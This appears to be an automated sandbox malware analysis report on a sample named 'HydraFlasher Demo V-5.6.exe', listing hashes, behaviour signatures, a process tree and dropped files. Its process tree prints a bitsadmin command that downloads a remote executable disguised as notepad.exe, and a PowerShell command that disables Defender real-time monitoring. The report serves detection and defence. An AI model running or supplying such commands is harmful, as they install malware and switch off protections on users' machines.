Analysis

  • max time kernel
    13s
  • max time network
    15s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-08-2024 04:47

General

  • Target

    HydraFlasher Demo V-5.6.exe

  • Size

    10.6MB

  • MD5

    9318cec16ebb1fe5e0d49418b03caac7

  • SHA1

    279bb51179dafe0bd576b969cb46d135b9942d0b

  • SHA256

    536f89dfb901d73ce17c796a32328282d6b0550c3e462dff09d488e1260584c0

  • SHA512

    5acd6d4add2a4cdd950dae91e7c97d977c683a114e2473c3950fa5f80a2cadcbc20bf263afc6e2de3268135ed1f97549b2b51f2a70583f5b55c284b8f6c8e4b3

  • SSDEEP

    196608:5IVZmd09RfQnf0dLTdGX4n03regAC7G5Ow0CZS8avlvPuTSce+GK0zsF9zMrgRIi:f6Yf0dHEX4n2FApOwtQlvmfYwArM/ev0

Malware Config

Signatures

  • Download via BitsAdmin 1 TTPs 1 IoCs
  • .NET Reactor proctector 2 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V-5.6.exe
    "C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V-5.6.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3224
    • C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe
      "C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:1128
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Downloader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        3⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:884
        • C:\Windows\SysWOW64\bitsadmin.exe
          "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://github.com/sleeper-cell/security/releases/download/dllhost/xvchosts.exe C:\Users\Admin\AppData\Roaming\notepad.exe
          4⤵
          • Download via BitsAdmin
          • System Location Discovery: System Language Discovery
          PID:4908
      • C:\Users\Admin\HydraFlasher Demo.exe
        "C:\Users\Admin\HydraFlasher Demo.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:964
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" -ExecutionPolicy Bypass -Command Set-MpPreference -DisableRealtimeMonitoring $true
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2428

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe

    Filesize

    10.6MB

    MD5

    154e7c4941e5c99f6fe369ff90dc8370

    SHA1

    d155c4fcccc60ae26291fd1177780b3591ccbb49

    SHA256

    ff295bc05708762ae2fc54195c8785708291219e6d07ec52077980049e1f3d24

    SHA512

    c37427cae52c78d95829b690113a5dab7c4a859a7d2c8781bd1580c9af24b6a7eb53d0d3bdaf87aa505035f2620e36e5688ea5da90eb7c16203a7bea634c544d

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bg3ltkrm.2yw.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\Downloader.hta

    Filesize

    888B

    MD5

    2dc6046e1cd218ba1ae101c6a96cb1ea

    SHA1

    26f057f84ca50739d3be3bdb022906b296364744

    SHA256

    012954762478b91e47a668255ce82791a4078761b18aaa74fc4e4c7168214cc8

    SHA512

    49f202b82a9561022b5b1299bbb2fcbda7ac89de6b8cfe7d5ba68ba08002b0cdefa93642128c08b217741644245fa2f550581bb4107676a592d615cdcdaa9179

  • C:\Users\Admin\HydraFlasher Demo.exe

    Filesize

    10.6MB

    MD5

    ac70d7032b72fb148ac74a0b902de461

    SHA1

    c3fe932e0e5f672b1dedd5309087f7e7d165c683

    SHA256

    a672ed87b2f51e8f549194b1e2bdfcd8b3d3326bc60f2eb8e76ab7f4422a5c63

    SHA512

    f840046e0192605aacd9e428bb46fffd53bc39c7f0ce04ccb5ba81df35cee36a6fffc7cbd6ad51e89eea3cbbc3687951a3baf8de662c4068cc026dba62a44b8a

  • memory/964-48-0x0000000005D30000-0x0000000005DC2000-memory.dmp

    Filesize

    584KB

  • memory/964-47-0x0000000006460000-0x0000000006A04000-memory.dmp

    Filesize

    5.6MB

  • memory/964-49-0x0000000005CA0000-0x0000000005CAA000-memory.dmp

    Filesize

    40KB

  • memory/964-46-0x00000000007F0000-0x0000000001290000-memory.dmp

    Filesize

    10.6MB

  • memory/1128-11-0x00007FFC8BFC3000-0x00007FFC8BFC5000-memory.dmp

    Filesize

    8KB

  • memory/1128-12-0x0000000000C60000-0x000000000170A000-memory.dmp

    Filesize

    10.7MB

  • memory/2428-66-0x0000000006280000-0x00000000062CC000-memory.dmp

    Filesize

    304KB

  • memory/2428-79-0x0000000007420000-0x00000000074C3000-memory.dmp

    Filesize

    652KB

  • memory/2428-53-0x0000000005B40000-0x0000000005BA6000-memory.dmp

    Filesize

    408KB

  • memory/2428-54-0x0000000005BB0000-0x0000000005C16000-memory.dmp

    Filesize

    408KB

  • memory/2428-51-0x0000000005410000-0x0000000005A38000-memory.dmp

    Filesize

    6.2MB

  • memory/2428-64-0x0000000005C20000-0x0000000005F74000-memory.dmp

    Filesize

    3.3MB

  • memory/2428-65-0x00000000061F0000-0x000000000620E000-memory.dmp

    Filesize

    120KB

  • memory/2428-50-0x00000000028F0000-0x0000000002926000-memory.dmp

    Filesize

    216KB

  • memory/2428-68-0x000000006D8F0000-0x000000006D93C000-memory.dmp

    Filesize

    304KB

  • memory/2428-67-0x00000000073E0000-0x0000000007412000-memory.dmp

    Filesize

    200KB

  • memory/2428-78-0x00000000067A0000-0x00000000067BE000-memory.dmp

    Filesize

    120KB

  • memory/2428-52-0x0000000005320000-0x0000000005342000-memory.dmp

    Filesize

    136KB

  • memory/2428-80-0x0000000007B50000-0x00000000081CA000-memory.dmp

    Filesize

    6.5MB

  • memory/2428-81-0x0000000007510000-0x000000000752A000-memory.dmp

    Filesize

    104KB

  • memory/2428-82-0x0000000007570000-0x000000000757A000-memory.dmp

    Filesize

    40KB

  • memory/2428-83-0x00000000077A0000-0x0000000007836000-memory.dmp

    Filesize

    600KB

  • memory/2428-84-0x0000000007710000-0x0000000007721000-memory.dmp

    Filesize

    68KB

  • memory/2428-85-0x0000000007740000-0x000000000774E000-memory.dmp

    Filesize

    56KB

  • memory/2428-86-0x0000000007750000-0x0000000007764000-memory.dmp

    Filesize

    80KB

  • memory/2428-87-0x0000000007860000-0x000000000787A000-memory.dmp

    Filesize

    104KB

  • memory/2428-88-0x0000000007790000-0x0000000007798000-memory.dmp

    Filesize

    32KB